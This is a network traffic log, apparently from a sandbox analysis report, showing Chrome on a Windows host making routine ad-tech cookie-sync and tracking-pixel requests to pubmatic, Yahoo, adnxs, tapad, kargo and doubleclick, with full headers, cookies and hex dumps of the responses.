KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
2024-01-10 23:27:24 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=159463:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1705968000%3A258_256%7C1704844800%3A255%7C1706054400%3A262_261_259_260_201_263%7C1704931200%3A248%7C1705449600%3A265%7C1705795200%3A257; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1705708800%3A63%7C1705968000%3A233_7_46_234_264_81_240_249_176_96_99_238_243_214_48_56%7C1706054400%3A165_71_13_250_35_8_54_231_166_3_104_55_220_21_178_22_5%7C1705449600%3A223_2_15%7C1709942400%3A69%7C1705363200%3A38%7C1707350400%3A224; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Tue, 09 Jan 2024 23:18:45 GMT Transfer-Encoding: chunked Connection: close
2024-01-10 23:27:24 UTC	3996	IN	Data Raw: 66 39 30 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 68 72 6f 73 63 72 69 70 74 2e 64 65 6c 69 76 65 72 79 65 6e 67 69 6e 65 2e 61 64 73 77 69 7a 7a 2e 63 6f 6d 2f 73 79 6e 63 4d 65 3f 70 61 72 74 6e 65 72 44 6f 6d 61 69 6e 3d 6d 72 74 6e 73 76 72 2e 63 6f 6d 26 69 64 54 79 70 65 3d 63 6f 6f 6b 69 65 26 70 61 72 74 6e 65 72 55 73 65 72 49 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 64 73 79 6e 63 2e 72 6c 63 64 6e Data Ascii: f90PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.4	50304	8.28.7.81	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	2767	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=84427404&p=156078&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
2024-01-10 23:27:25 UTC	1069	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=3; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=156078:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1706054400%3A201_263_258_262_261_260_256_259%7C1705449600%3A265%7C1704931200%3A255_248%7C1705881600%3A257; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1710028800%3A69%7C1706054400%3A165_54_234_166_7_178_233_240_104_3_5_21_243_46_96_214_250_55_13_56_238_22_71_220_8_231%7C1705449600%3A38_2_15_223%7C1705708800%3A63%7C1707436800%3A224; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Wed, 10 Jan 2024 23:27:23 GMT Transfer-Encoding: chunked Connection: close
2024-01-10 23:27:25 UTC	2924	IN	Data Raw: 62 36 30 0d 0a 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 73 79 6e 63 68 72 6f 73 63 72 69 70 74 2e 64 65 6c 69 76 65 72 79 65 6e 67 69 6e 65 2e 61 64 73 77 69 7a 7a 2e 63 6f 6d 2f 73 79 6e 63 4d 65 3f 70 61 72 74 6e 65 72 44 6f 6d 61 69 6e 3d 6d 72 74 6e 73 76 72 2e 63 6f 6d 26 69 64 54 79 70 65 3d 63 6f 6f 6b 69 65 26 70 61 72 74 6e 65 72 55 73 65 72 49 64 3d 41 46 31 41 33 30 42 30 2d 32 34 42 38 2d 34 37 36 45 2d 41 45 44 34 2d 42 45 38 44 43 41 46 41 34 31 43 34 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 69 64 73 79 6e 63 2e 72 6c 63 64 6e Data Ascii: b60PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.4	50323	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	1689	OUT	POST /p?s=2023538075&t=1704929244140&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_MID_RIGHT_C_BRSTIME%22%3A6420%2C%22GAM_MID_RIGHT_C_FTIME%22%3A7894%2C%22GAM_MID_RIGHT_C_RTIME%22%3A17000%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:25 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:25 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.4	50319	68.67.160.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	969	OUT	GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=7367141199740274687; XANDR_PANID=qFI7Su_GC9_9RK1nPBjtvu_DxAoY4STz0CCs3RfmJo9qNGkr1v7Yn176QLAtsYdMFTvx6BdlCl9mWPfudDrPCVoy1r3PDObk_Zh5tqbw-0I.
2024-01-10 23:27:25 UTC	1302	IN	HTTP/1.1 302 Found Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=BjQ-14q_Wqjk6XxXHCZPImHFORWG59n-6Yr4yW9jyKRD-yHbUodj8Pq31SNb-EPIepY7LAoTlIlMvplp0aBo5iS8ydrW_9JYifLyTLIuCTo.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=7367141199740274687&gdpr=0&gdpr_consent= AN-X-Request-Uuid: d308ec86-52d0-4584-90df-a845870f4027 Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:25 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.4	50313	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:24 UTC	909	OUT	GET /idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2Chttps%253A%252F%252Fx.bidswitch.net%252Fsync%253Fdsp_id%253D437%2526ssp%253Dcriteo%2526user_id%253D%2C HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
2024-01-10 23:27:25 UTC	1148	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1704929237034;Expires=Sun, 10 Mar 2024 23:27:25 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251;Expires=Sun, 10 Mar 2024 23:27:25 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=1!263;Expires=Sun, 10 Mar 2024 23:27:25 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Location: https://x.bidswitch.net/sync?dsp_id=437&ssp=criteo&user_id= Content-Length: 0 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.4	50317	18.206.75.249	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	707	OUT	GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2
2024-01-10 23:27:25 UTC	456	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2; Path=/; Domain=kargo.com; Expires=Thu, 09 Jan 2025 23:27:25 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.4	50327	142.250.31.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	741	OUT	GET /pixel?google_nid=rp&google_hm=TFI4RVVHMTItMUYtNUpHNA==&google_push=&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:25 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Wed, 10 Jan 2024 23:27:25 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:25 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.4	50320	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1235	OUT	GET /ups/57926/sync?uid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&_origin=0&redir=true&pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
